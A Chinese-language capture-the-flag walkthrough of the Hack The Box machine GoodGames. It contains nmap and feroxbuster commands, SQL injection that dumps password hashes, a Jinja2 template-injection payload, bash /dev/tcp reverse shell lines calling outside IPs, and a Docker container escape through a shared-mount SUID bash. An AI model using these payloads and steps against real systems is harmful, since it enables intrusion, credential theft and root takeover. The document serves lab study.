端口扫描
sudo nmap -Pn -sS -A -v 10.129.222.145
设置hosts文件
feroxbuster
目录爆破
feroxbuster -u http://goodgames.htb/
靶场主页
在登录窗口下方有一个注册超链接
注册
登录抓包
尝试sql注入
查看输出个数
输出个数为4
可见输出是第四个
查看当前数据库名
查看所有数据库
两个数据库
information_schema 和 main
查看 main的表
查看user表的列
查看各列的内容
1==admin==admin@goodgames.htb==2b22337f218b2d82dfc3b6f77e7cb8ec
2==11==1@1.com==202cb962ac59075b964b07152d234b70
3==123==111@123.com==e10adc3949ba59abbe56e057f20f883e
尝试破解 2b22337f218b2d82dfc3b6f77e7cb8ec
superadministrator
在网页登录
在右上角设置处
跳转到子域名
将子域名添加到host文件中
继续跳转
尝试使用
admin/superadministrator
登录
在my profile中
可以自定义名称
由于是python语言,推测可能存在模板注入
验证模板注入
存在模板注入
构造payload
{{ config.__init__.__globals__.os.popen('id').read() }}
##__init__ 初始化类,返回的类型是function
##__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象
成功执行命令
反弹shell
bash -i >& /dev/tcp/108.61.187.137/9999 0>&1
{{ config.__init__.__globals__.os.popen("bash -c 'bash -i >& /dev/tcp/10.10.16.6/4545 0>&1'").read() }}
获取普通用户flag
b75c63d0e47c3643531b22b6a0acb953
说明是在docker容器内
没有用户 augustus 或 id 为 1000 的用户在 /etc/passwd:
这表明此主目录已从主机挂载到容器中。mount确认
通过ping扫描C段
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
发现存在172.19.0.1
猜测 172.19.0.1为docker主机
扫描端口
for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
打开了22和80端口
尝试使用augustus和密码superadministrator登录SSH
成功登录
目录与172.19.0.2的目录一致
b75c63d0e47c3643531b22b6a0acb953
查看有关docker的进程
尝试从主机创建一个test文件
同样出现在容器里
尝试从容器创建一个test1文件
同样出现在主机上且为root权限
主机复制 /bin/bash 到本路径下
cp /bin/bash ./
然后在容器中修改文件权限
回到主机
获取rootshell
./bash -p (-p 这样特权就不会被删除)
获取root用户flag
d9d0dfc0f958b38cc2129bd63bfd973d